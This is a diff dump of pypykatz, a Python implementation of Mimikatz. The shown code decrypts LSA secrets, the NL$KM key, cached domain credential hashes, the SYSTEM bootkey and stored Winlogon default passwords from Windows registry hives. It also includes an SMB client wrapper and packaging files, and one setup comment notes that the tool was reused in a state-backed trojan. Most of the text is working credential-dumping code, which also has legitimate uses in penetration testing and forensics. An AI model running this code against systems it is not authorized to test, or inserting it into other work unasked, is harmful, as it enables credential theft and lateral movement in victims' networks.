108 async def get_NKLM_key(self):
109 logger.debug('[SECURITY] Fetching NK$LM key...')
110 if self.lsa_key is None:
111 await self.get_lsa_key()
112
113 value = await self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default')
114 if value is None:
115 logger.error('[SECURITY] Could not find NL$KM in registry')
116 raise Exception('Could not find NL$KM in registry :(')
117
118 if self.lsa_secret_key_vista_type is True:
119 self.NKLM_key = b''
120 record = LSA_SECRET.from_bytes(value[1])
121 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
122 cipher = AESModeOfOperationECB(key)
123 n = 16
124 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
125 if len(block) < n:
126 block += b'\x00' * (16 - len(block))
127 self.NKLM_key += cipher.decrypt(block)
128
129 else:
130 self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1])
131
132 logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex())
133 return self.NKLM_key
134
135 def __pad(self, data):
136 if (data & 0x3) > 0:
137 return data + (data & 0x3)
138 else:
139 return data
140
141 async def dump_dcc(self):
142 logger.debug('[SECURITY] dump_dcc invoked')
143 cache_reg = await self.hive.find_key('Cache', False)
144 if cache_reg is None:
145 logger.debug('[SECURITY] No DCC secrets found')
146 return
147 values = await self.hive.list_values(cache_reg)
148
149 if values == []:
150 logger.debug('[SECURITY] No DCC secrets found')
151 return
152
153 if b'NL$Control' in values:
154 values.remove(b'NL$Control')
155
156 if b'NL$IterationCount' in values:
157 logger.debug('[SECURITY] DCC Setting iteration count')
158 values.remove(b'NL$IterationCount')
159 record = await self.hive.get_value('Cache\\NL$IterationCount')
160 record = record[1]
161 if record > 10240:
162 self.dcc_iteration_count = record & 0xfffffc00
163 else:
164 self.dcc_iteration_count = record * 1024
165
166
167 await self.get_lsa_key()
168 await self.get_NKLM_key()
169
170 for value in values:
171 logger.debug('[SECURITY] DCC Checking value: %s' % value)
172 record_data = await self.hive.get_value('Cache\\%s' % value.decode())
173 record_data = record_data[1]
174 record = NL_RECORD.from_bytes(record_data)
175
176 if record.IV != b'\x00'*16:
177 if record.Flags & 1 == 1:
178 # Encrypted
179 if self.lsa_secret_key_vista_type is True:
180 plaintext = b''
181 cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
182 n = 16
183 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround
184 if len(block) < 16:
185 block += b'\x00' * (16 - len(block))
186 plaintext += cipher.decrypt(block)
187
188 else:
189 key = hmac.new(self.NKLM_key,record.IV).digest()
190 cipher = RC4(key)
191 plaintext = cipher.decrypt(record.EncryptedData)
192
193 else:
194 # Plain! Until we figure out what this is, we skip it
195 #plainText = record['EncryptedData']
196 logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value)
197 continue
198
199
200 dcc_hash = plaintext[:0x10]
201 blob = io.BytesIO(plaintext[0x48:])
202 username = blob.read(record.UserLength).decode('utf-16-le')
203 blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength))
204 domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le')
205
206 version = 2 if self.lsa_secret_key_vista_type is True else 1
207 secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count)
208 self.dcc_hashes.append(secret)
209
210 return self.dcc_hashes
211
212 async def get_secrets(self):
213 logger.debug('[SECURITY] get_secrets')
214 await self.get_lsa_key()
215
216 await self.dump_dcc()
217
218 # Let's first see if there are cached entries
219 keys = await self.hive.enum_key('Policy\\Secrets')
220 if keys is None:
221 logger.debug('[SECURITY] No cached secrets found in hive')
222 return
223
224 if b'NL$Control' in keys:
225 keys.remove(b'NL$Control')
226
227 for key_name in keys:
228 for vl in ['CurrVal', 'OldVal']:
229 key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl)
230 logger.debug('[SECURITY] Parsing secrets in %s' % key_path)
231 v = await self.hive.get_value(key_path, False)
232 if v and v[1] != 0:
233 logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1]))
234 if self.lsa_secret_key_vista_type is True:
235 record = LSA_SECRET.from_bytes(v[1])
236 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
237 secret_dec = b''
238 cipher = AESModeOfOperationECB(key)
239 n = 16
240 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
241 if len(block) < n:
242 block += b'\x00' * (n - len(block))
243 secret_dec += cipher.decrypt(block)
244 record = LSA_SECRET_BLOB.from_bytes(secret_dec)
245 dec_blob = record.secret
246
247 else:
248 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
249
250 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
251 if secret is not None:
252 self.cached_secrets.append(secret)
253
254 else:
255 logger.debug('[SECURITY] Could not open %s, skipping!' % key_path)
256
257 def to_dict(self):
258 t = {}
259 t['dcc_iteration_count'] = self.dcc_iteration_count
260 t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD'
261 t['lsa_key'] = self.lsa_key
262 t['NK$LM'] = None
263 if self.NKLM_key is not None:
264 t['NK$LM'] = self.NKLM_key
265 t['dcc'] = []
266 for secret in self.dcc_hashes:
267 t['dcc'].append(secret.to_dict())
268 t['cached_secrets'] = []
269 for secret in self.cached_secrets:
270 t['cached_secrets'].append(secret.to_dict())
271 return t
272
273 def __str__(self):
274 t = '============== SECURITY hive secrets ==============\r\n'
275 t += 'Iteration count: %s\r\n' % self.dcc_iteration_count
276 t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD'
277 t += 'LSA Key: %s\r\n' % self.lsa_key.hex()
278 if self.NKLM_key is not None:
279 t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex()
280 for secret in self.dcc_hashes:
281 t += '%s\r\n' % secret.to_lopth()
282 for secret in self.cached_secrets:
283 t += '%s\r\n' % str(secret)
284 return t
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import hashlib
5
6 from pypykatz.crypto.MD4 import MD4
67 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
78 from pypykatz.commons.common import hexdump
89
155156
156157 def process_secret(self):
157158 #only the NT hash is calculated here
158 ctx = hashlib.new('md4')
159 ctx.update(self.raw_secret)
159 ctx = MD4(self.raw_secret)#hashlib.new('md4')
160 #ctx.update(self.raw_secret)
160161 self.secret = ctx.digest()
161162
162163 #thx dirkjan
4040 @staticmethod
4141 def sha256_multi(key, value, rounds = 1000):
4242 ctx = hashlib.sha256(key)
43 for i in range(rounds):
43 for _ in range(rounds):
4444 ctx.update(value)
4545 return ctx.digest()
4646
108108 def get_NKLM_key(self):
109109 logger.debug('[SECURITY] Fetching NK$LM key...')
110110 if self.lsa_key is None:
111 self.get_lsa_secret_key()
111 self.get_lsa_key()
112112
113113 value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default')
114114 if value is None:
156156 if b'NL$IterationCount' in values:
157157 logger.debug('[SECURITY] DCC Setting iteration count')
158158 values.remove(b'NL$IterationCount')
159 record = self.getValue('Cache\\NL$IterationCount')[1]
159 record = self.hive.get_value('Cache\\NL$IterationCount')[1]
160160 if record > 10240:
161161 self.dcc_iteration_count = record & 0xfffffc00
162162 else:
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #####
7 from pypykatz.registry import logger
8
9
10 class SOFTWARE:
11 def __init__(self, sam_hive, bootkey):
12 self.hive = sam_hive
13 self.bootkey = bootkey
14 self.default_logon_user = None
15 self.default_logon_domain = None
16 self.default_logon_password = None
17
18 async def get_default_logon(self):
19 if self.default_logon_user is None:
20 try:
21 data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName')
22 data = data[1]
23 except:
24 pass
25 else:
26 if isinstance(data, bytes):
27 self.default_logon_user = data.decode('utf-16-le').split('\x00')[0]
28 else:
29 self.default_logon_user = data
30
31 if self.default_logon_domain is None:
32 try:
33 data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName')
34 data = data[1]
35 except:
36 pass
37 else:
38 if isinstance(data, bytes):
39 self.default_logon_domain = data.decode('utf-16-le')
40 else:
41 self.default_logon_domain = data
42
43 if self.default_logon_password is None:
44 try:
45 data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword')
46 data = data[1]
47 except:
48 pass
49 else:
50 if isinstance(data, bytes):
51 self.default_logon_password = data.decode('utf-16-le')
52 else:
53 self.default_logon_password = data
54
55 return self.default_logon_user
56
57 def to_dict(self):
58 t = {}
59 t['default_logon_user'] = self.default_logon_user
60 t['default_logon_domain'] = self.default_logon_domain
61 t['default_logon_password'] = self.default_logon_password
62 return t
63
64 def __str__(self):
65 t = '============== SOFTWARE hive secrets ==============\r\n'
66 t += 'default_logon_user: %s\r\n' % self.default_logon_user
67 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 from pypykatz.registry import logger
6 from pypykatz.commons.common import hexdump
7
8 #
9 # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry.
10 # Without having the BootKey no decryption can be performed on any of the secrets,
11 # therefore it is mandatory to supply this hive.
12 #
13 # The way to obtain the BootKey is quite straightforward.
14 # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine)
15 # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys.
16 # we read the Class attribute of these keys and de-obfuscate the key
17 #
18
19 class SYSTEM:
20 def __init__(self, system_hive):
21 self.hive = system_hive
22 self.currentcontrol = None
23 self.bootkey = None
24
25 async def get_currentcontrol(self):
26 logger.debug('[SYSTEM] determining current control set')
27 if self.currentcontrol is not None:
28 return self.currentcontrol
29
30 ccs = await self.hive.get_value('Select\\Current')
31 ccs = ccs[1]
32 self.currentcontrol = "ControlSet%03d" % ccs
33 logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol)
34 return self.currentcontrol
35
36 async def get_bootkey(self):
37 logger.debug('[SYSTEM] get_bootkey invoked')
38 if self.bootkey is not None:
39 return self.bootkey
40 if self.currentcontrol is None:
41 await self.get_currentcontrol()
42
43 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
44 bootkey_obf = ''
45 for key in ['JD', 'Skew1', 'GBG', 'Data']:
46 bootkey_obf += await self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key))
47
48 bootkey_obf = bytes.fromhex(bootkey_obf)
49 self.bootkey = b''
50 for i in range(len(bootkey_obf)):
51 self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1]
52
53 logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex())
54 return self.bootkey
55
56 async def get_secrets(self):
57 await self.get_currentcontrol()
58 await self.get_bootkey()
59
60 def to_dict(self):
61 t = {}
62 t['CurrentControlSet'] = self.currentcontrol
63 t['BootKey'] = self.bootkey
64 return t
65
66 def __str__(self):
67 t = '============== SYSTEM hive secrets ==============\r\n'
68 t += 'CurrentControlSet: %s\r\n' % self.currentcontrol
69 t += 'Boot Key: %s\r\n' % self.bootkey.hex()
70 return t
(New empty file)
0
1
2 #!/usr/bin/env python3
3 #
4 # Author:
5 # Tamas Jos (@skelsec)
6 #
7
8 from pypykatz import logging
9 import asyncio
10
11 """
12 LDAP is not part of pypykatz directly.
13 This is a wrapper for aiosmb
14 """
15
16 class SMBCMDArgs:
17 def __init__(self):
18 self.smb_url = None
19 self.verbose = 0
20 self.silent = True
21 self.smb_url = None
22 self.no_interactive = False
23 self.commands = ['login', 'i']
24
25 smb_live_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... smb help" insted of "-h" '
26 class SMBCMDHelper:
27 def __init__(self):
28 self.live_keywords = ['smb']
29 self.keywords = ['smb']
30
31 def add_args(self, parser, live_parser):
32 group = parser.add_parser('smb', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
33 group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
34 group.add_argument('url', help="SMB connection string")
35 group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
36
37 live_group = live_parser.add_parser('smb', help='SMB (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=smb_live_epilog)
38 live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
39 live_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
40 live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
41 live_group.add_argument('host', help='Target host to connect to')
42 live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
43
44 def execute(self, args):
45 if args.command in self.keywords:
46 self.run(args)
47
48 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
49 self.run_live(args)
50
51
52 def run_live(self, args):
53 from aiosmb.examples.smbclient import amain
54 from winacl.functions.highlevel import get_logon_info
55 info = get_logon_info()
56 la = SMBCMDArgs()
57 la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
58 la.verbose = args.verbose
59 print(la.smb_url)
60
61 if args.commands is not None and len(args.commands) > 0:
62 la.commands = []
63 if args.commands[0] == 'help':
64 la.commands = ['help']
65 else:
66 if args.commands[0] != 'login':
67 la.commands.append('login')
68
69 for command in args.commands:
70 la.commands.append(command)
71
72 asyncio.run(amain(la))
73
74 def run(self, args):
75 from aiosmb.examples.smbclient import amain
76 la = SMBCMDArgs()
77 la.smb_url = args.url
78 la.verbose = args.verbose
79 if args.commands is not None and len(args.commands) > 0:
80 la.commands = []
81 if args.commands[0] == 'help':
82 la.commands = ['help']
83 else:
84 if args.commands[0] != 'login':
85 la.commands.append('login')
86
87 for command in args.commands:
88 la.commands.append(command)
89
90 asyncio.run(amain(la))
+0
-0
pypykatz/utils/sake/__init__.py less more
(Empty file)
+0
-9
pypykatz/utils/sake/sake.py less more
0 import zlib
1 import base64
2
3 class Sake:
4 def __init__(self):
5 self.pic_comp = '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'
6
7 def draw(self):
8 return zlib.decompress(base64.b64decode(self.pic_comp)).decode('ascii')
+0
-14
pypykatz.egg-info/PKG-INFO less more
0 Metadata-Version: 1.2
1 Name: pypykatz
2 Version: 0.3.7
3 Summary: Python implementation of Mimikatz
4 Home-page: https://github.com/skelsec/pypykatz
5 Author: Tamas Jos
6 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
10 Classifier: Programming Language :: Python :: 3.6
11 Classifier: License :: OSI Approved :: MIT License
12 Classifier: Operating System :: OS Independent
13 Requires-Python: >=3.6
+0
-160
pypykatz.egg-info/SOURCES.txt less more
0 README.md
1 setup.py
2 pypykatz/__init__.py
3 pypykatz/__main__.py
4 pypykatz/_version.py
5 pypykatz/pypykatz.py
6 pypykatz.egg-info/PKG-INFO
7 pypykatz.egg-info/SOURCES.txt
8 pypykatz.egg-info/dependency_links.txt
9 pypykatz.egg-info/entry_points.txt
10 pypykatz.egg-info/requires.txt
11 pypykatz.egg-info/top_level.txt
12 pypykatz.egg-info/zip-safe
13 pypykatz/commons/__init__.py
14 pypykatz/commons/common.py
15 pypykatz/commons/filetime.py
16 pypykatz/commons/kerberosticket.py
17 pypykatz/commons/win_datatypes.py
18 pypykatz/commons/readers/__init__.py
19 pypykatz/commons/readers/local/__init__.py
20 pypykatz/commons/readers/local/live_reader.py
21 pypykatz/commons/readers/local/common/__init__.py
22 pypykatz/commons/readers/local/common/advapi32.py
23 pypykatz/commons/readers/local/common/defines.py
24 pypykatz/commons/readers/local/common/fileinfo.py
25 pypykatz/commons/readers/local/common/kernel32.py
26 pypykatz/commons/readers/local/common/live_reader_ctypes.py
27 pypykatz/commons/readers/local/common/privileges.py
28 pypykatz/commons/readers/local/common/privileges_types.py
29 pypykatz/commons/readers/local/common/psapi.py
30 pypykatz/commons/readers/local/common/version.py
31 pypykatz/commons/readers/local/common/winreg.py
32 pypykatz/commons/readers/registry/__init__.py
33 pypykatz/commons/readers/registry/live/__init__.py
34 pypykatz/commons/readers/registry/live/reader.py
35 pypykatz/commons/readers/rekall/__init__.py
36 pypykatz/commons/readers/rekall/rekallreader.py
37 pypykatz/commons/readers/volatility3/__init__.py
38 pypykatz/commons/readers/volatility3/volreader.py
39 pypykatz/commons/winapi/__init__.py
40 pypykatz/commons/winapi/constants.py
41 pypykatz/commons/winapi/machine.py
42 pypykatz/commons/winapi/processmanipulator.py
43 pypykatz/commons/winapi/local/__init__.py
44 pypykatz/commons/winapi/local/advapi32.py
45 pypykatz/commons/winapi/local/kernel32.py
46 pypykatz/commons/winapi/local/localwindowsapi.py
47 pypykatz/commons/winapi/local/ntdll.py
48 pypykatz/commons/winapi/local/psapi.py
49 pypykatz/commons/winapi/local/sid.py
50 pypykatz/commons/winapi/local/function_defs/__init__.py
51 pypykatz/commons/winapi/local/function_defs/advapi32.py
52 pypykatz/commons/winapi/local/function_defs/defines.py
53 pypykatz/commons/winapi/local/function_defs/fileinfo.py
54 pypykatz/commons/winapi/local/function_defs/kernel32.py
55 pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
56 pypykatz/commons/winapi/local/function_defs/netapi32.py
57 pypykatz/commons/winapi/local/function_defs/netapi32_high.py
58 pypykatz/commons/winapi/local/function_defs/ntdll.py
59 pypykatz/commons/winapi/local/function_defs/privileges.py
60 pypykatz/commons/winapi/local/function_defs/privileges_types.py
61 pypykatz/commons/winapi/local/function_defs/psapi.py
62 pypykatz/commons/winapi/local/function_defs/version.py
63 pypykatz/commons/winapi/local/function_defs/winreg.py
64 pypykatz/crypto/RC4.py
65 pypykatz/crypto/__init__.py
66 pypykatz/crypto/des.py
67 pypykatz/crypto/aes/AES.py
68 pypykatz/crypto/aes/__init__.py
69 pypykatz/crypto/aes/blockfeeder.py
70 pypykatz/crypto/aes/util.py
71 pypykatz/crypto/unified/__init__.py
72 pypykatz/crypto/unified/aes.py
73 pypykatz/crypto/unified/common.py
74 pypykatz/crypto/unified/des.py
75 pypykatz/crypto/unified/des3.py
76 pypykatz/crypto/unified/pbkdf2.py
77 pypykatz/crypto/unified/pkcs7.py
78 pypykatz/dpapi/__init__.py
79 pypykatz/dpapi/constants.py
80 pypykatz/dpapi/dpapi.py
81 pypykatz/dpapi/structures/__init__.py
82 pypykatz/dpapi/structures/blob.py
83 pypykatz/dpapi/structures/credentialfile.py
84 pypykatz/dpapi/structures/masterkeyfile.py
85 pypykatz/dpapi/structures/system.py
86 pypykatz/dpapi/structures/vault.py
87 pypykatz/kerberos/__init__.py
88 pypykatz/kerberos/cmdhelper.py
89 pypykatz/ldap/__init__.py
90 pypykatz/ldap/cmdhelper.py
91 pypykatz/lsadecryptor/__init__.py
92 pypykatz/lsadecryptor/cmdhelper.py
93 pypykatz/lsadecryptor/lsa_decryptor.py
94 pypykatz/lsadecryptor/lsa_decryptor_nt5.py
95 pypykatz/lsadecryptor/lsa_decryptor_nt6.py
96 pypykatz/lsadecryptor/lsa_template_nt5.py
97 pypykatz/lsadecryptor/lsa_template_nt6.py
98 pypykatz/lsadecryptor/lsa_templates.py
99 pypykatz/lsadecryptor/package_commons.py
100 pypykatz/lsadecryptor/packages/__init__.py
101 pypykatz/lsadecryptor/packages/credman/__init__.py
102 pypykatz/lsadecryptor/packages/credman/templates.py
103 pypykatz/lsadecryptor/packages/dpapi/__init__.py
104 pypykatz/lsadecryptor/packages/dpapi/decryptor.py
105 pypykatz/lsadecryptor/packages/dpapi/templates.py
106 pypykatz/lsadecryptor/packages/kerberos/__init__.py
107 pypykatz/lsadecryptor/packages/kerberos/decryptor.py
108 pypykatz/lsadecryptor/packages/kerberos/templates.py
109 pypykatz/lsadecryptor/packages/livessp/__init__.py
110 pypykatz/lsadecryptor/packages/livessp/decryptor.py
111 pypykatz/lsadecryptor/packages/livessp/templates.py
112 pypykatz/lsadecryptor/packages/msv/__init__.py
113 pypykatz/lsadecryptor/packages/msv/decryptor.py
114 pypykatz/lsadecryptor/packages/msv/templates.py
115 pypykatz/lsadecryptor/packages/ssp/__init__.py
116 pypykatz/lsadecryptor/packages/ssp/decryptor.py
117 pypykatz/lsadecryptor/packages/ssp/templates.py
118 pypykatz/lsadecryptor/packages/tspkg/__init__.py
119 pypykatz/lsadecryptor/packages/tspkg/decryptor.py
120 pypykatz/lsadecryptor/packages/tspkg/templates.py
121 pypykatz/lsadecryptor/packages/wdigest/__init__.py
122 pypykatz/lsadecryptor/packages/wdigest/decryptor.py
123 pypykatz/lsadecryptor/packages/wdigest/templates.py
124 pypykatz/plugins/__init__.py
125 pypykatz/plugins/pypykatz_rekall.py
126 pypykatz/registry/__init__.py
127 pypykatz/registry/cmdhelper.py
128 pypykatz/registry/live_parser.py
129 pypykatz/registry/offline_parser.py
130 pypykatz/registry/sam/__init__.py
131 pypykatz/registry/sam/common.py
132 pypykatz/registry/sam/sam.py
133 pypykatz/registry/sam/structures.py
134 pypykatz/registry/security/__init__.py
135 pypykatz/registry/security/common.py
136 pypykatz/registry/security/security.py
137 pypykatz/registry/security/structures.py
138 pypykatz/registry/software/__init__.py
139 pypykatz/registry/software/software.py
140 pypykatz/registry/system/__init__.py
141 pypykatz/registry/system/system.py
142 pypykatz/remote/__init__.py
143 pypykatz/remote/cmdhelper.py
144 pypykatz/remote/live/__init__.py
145 pypykatz/remote/live/common/__init__.py
146 pypykatz/remote/live/common/common.py
147 pypykatz/remote/live/localgroup/__init__.py
148 pypykatz/remote/live/localgroup/enumerator.py
149 pypykatz/remote/live/session/__init__.py
150 pypykatz/remote/live/session/enumerator.py
151 pypykatz/remote/live/share/__init__.py
152 pypykatz/remote/live/share/enumerator.py
153 pypykatz/utils/__init__.py
154 pypykatz/utils/crypto/__init__.py
155 pypykatz/utils/crypto/cmdhelper.py
156 pypykatz/utils/crypto/gppassword.py
157 pypykatz/utils/crypto/winhash.py
158 pypykatz/utils/sake/__init__.py
159 pypykatz/utils/sake/sake.py
+0
-1
pypykatz.egg-info/dependency_links.txt less more
0
+0
-3
pypykatz.egg-info/entry_points.txt less more
0 [console_scripts]
1 pypykatz = pypykatz.__main__:main
2
+0
-5
pypykatz.egg-info/requires.txt less more
0 minidump>=0.0.12
1 minikerberos>=0.2.0
2 aiowinreg>=0.0.3
3 msldap>=0.2.7
4 winsspi>=0.0.3
+0
-1
pypykatz.egg-info/top_level.txt less more
0 pypykatz
+0
-1
pypykatz.egg-info/zip-safe less more
0
+0
-4
setup.cfg less more
0 [egg_info]
1 tag_build =
2 tag_date = 0
3
00 from setuptools import setup, find_packages
11 import re
2 import platform
23
34 VERSIONFILE="pypykatz/_version.py"
45 verstrline = open(VERSIONFILE, "rt").read()
910 else:
1011 raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
1112
13 ep = {
14 'console_scripts': [
15 'pypykatz = pypykatz.__main__:main',
16 ],
17 }
18
1219 setup(
1320 # Application name:
1421 name="pypykatz",
1825
1926 # Application author details:
2027 author="Tamas Jos",
21 author_email="[email protected]",
28 author_email="[email protected]",
2229
2330 # Packages
2431 packages=find_packages(),
4350 "Operating System :: OS Independent",
4451 ),
4552 install_requires=[
46 'minidump>=0.0.12',
47 'minikerberos>=0.2.0',
48 'aiowinreg>=0.0.3',
49 'msldap>=0.2.7',
50 'winsspi>=0.0.3'
53 'minidump>=0.0.13',
54 'minikerberos>=0.2.8',
55 'aiowinreg>=0.0.4',
56 'msldap>=0.3.24',
57 'winacl>=0.1.0',
5158 ],
5259
53 entry_points={
54 'console_scripts': [
55 'pypykatz = pypykatz.__main__:main',
56 ],
57 }
60 # No more conveinent .exe entry point thanks to some idiot who
61 # used the code without modification in a state-backed trojan.
62 # Thank you for runing it for everyone.
63 #
64 #
65 entry_points=ep if platform.system().lower() != 'windows' else {}
5866 )